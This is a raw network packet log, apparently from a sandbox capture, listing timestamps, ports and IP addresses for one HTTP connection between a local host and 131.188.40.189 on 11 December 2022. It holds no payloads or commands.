Dec 11, 2022 09:25:07.925811052 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.925821066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925857067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925865889 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.925890923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925908089 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.925925970 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925971031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926002026 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926004887 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926039934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926088095 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926115990 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926120996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926156044 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926197052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926229000 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926229954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926265001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926306963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926336050 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926340103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926373959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926415920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926444054 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926450014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926482916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926522017 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926526070 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926558971 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926595926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926605940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926639080 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926675081 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926681042 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926717043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926754951 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926759958 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926794052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.926834106 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.926839113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.927366018 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.927565098 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.927618027 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.927638054 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.927650928 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.927685022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.927723885 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.927767992 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.927800894 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.172835112 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.173389912 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.307199001 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.327285051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327363968 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327424049 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327472925 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.327488899 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327538013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327558041 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.327588081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327631950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327634096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.327689886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327733040 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327739000 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.327775955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327819109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327827930 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.327861071 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327899933 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.327904940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327949047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327991009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.327992916 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328033924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328075886 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328083038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328141928 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328160048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328183889 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328203917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328241110 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328267097 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328284025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328325033 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328325987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328371048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328413963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328418016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328457117 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328499079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328505039 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328541994 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328577995 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328593969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328635931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328676939 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328679085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328722954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328771114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328795910 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328809023 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328834057 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328840017 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328882933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328924894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.328924894 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.328969002 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329011917 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.329013109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329061031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329102993 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329144001 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.329144955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329188108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329230070 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329230070 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.329272032 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.329272985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329317093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329359055 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.329360008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329406023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.329447985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.349559069 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349622965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349667072 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349680901 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.349723101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349766970 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349787951 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.349812031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349855900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349862099 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.349900961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349945068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.349981070 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.349991083 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350033998 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350039005 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350084066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350126982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350137949 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350169897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350223064 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350230932 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350266933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350307941 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350317955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350358009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350403070 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350430965 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350445986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350490093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350512028 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350533962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350589991 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350590944 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350636005 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350680113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350687981 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350725889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350754976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350790024 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350809097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350852966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350888968 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.350923061 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350966930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.350971937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351008892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351052999 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351054907 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351100922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351145029 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351149082 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351191998 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351234913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351242065 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351279020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351321936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351336956 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351372004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351397038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351428032 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351440907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351483107 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351526022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351533890 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351568937 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351603985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351612091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351655006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351697922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351711035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351747036 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351747990 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351773024 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351816893 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351831913 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351861000 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351902962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.351928949 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.351948977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352000952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352010965 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352045059 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352091074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352114916 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352134943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352194071 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352205038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352267981 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352313995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352324963 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352360010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352401972 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352408886 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352444887 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352488041 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352488995 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352530956 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352586985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352587938 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352629900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352673054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352674961 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352715969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352762938 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352793932 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352804899 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352849007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352886915 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352893114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352936983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.352937937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.352982044 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353025913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353041887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353075027 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353117943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353120089 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353162050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353204012 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353243113 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353251934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353280067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353310108 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353324890 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353367090 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353380919 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353416920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353441000 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353475094 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353485107 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353529930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353534937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353574038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353615999 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353617907 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.353658915 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353703022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.353734970 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.373925924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.373990059 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374033928 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374080896 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374094963 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374126911 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374140024 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374172926 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374192953 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374217987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374263048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374264956 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374306917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374362946 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374380112 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374407053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374449968 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374461889 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374521017 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374532938 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374556065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374577045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374602079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374628067 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374658108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374701977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374738932 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374746084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374799013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374821901 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374850035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374866962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374869108 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.374954939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.374998093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375025034 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.375041008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375087023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375142097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375159979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375221968 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375266075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375308037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375351906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375395060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375438929 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375495911 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375525951 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.375539064 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375572920 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.375585079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375633001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375658989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375710964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375731945 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375755072 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.375777006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375786066 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.375821114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375864983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375909090 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375921011 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.375953913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.375968933 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376008987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376053095 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376070976 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376100063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376142979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376198053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376247883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376250982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376281977 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376293898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376338005 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376389027 CET	80	49692	131.188.40.189	192.168.2.3
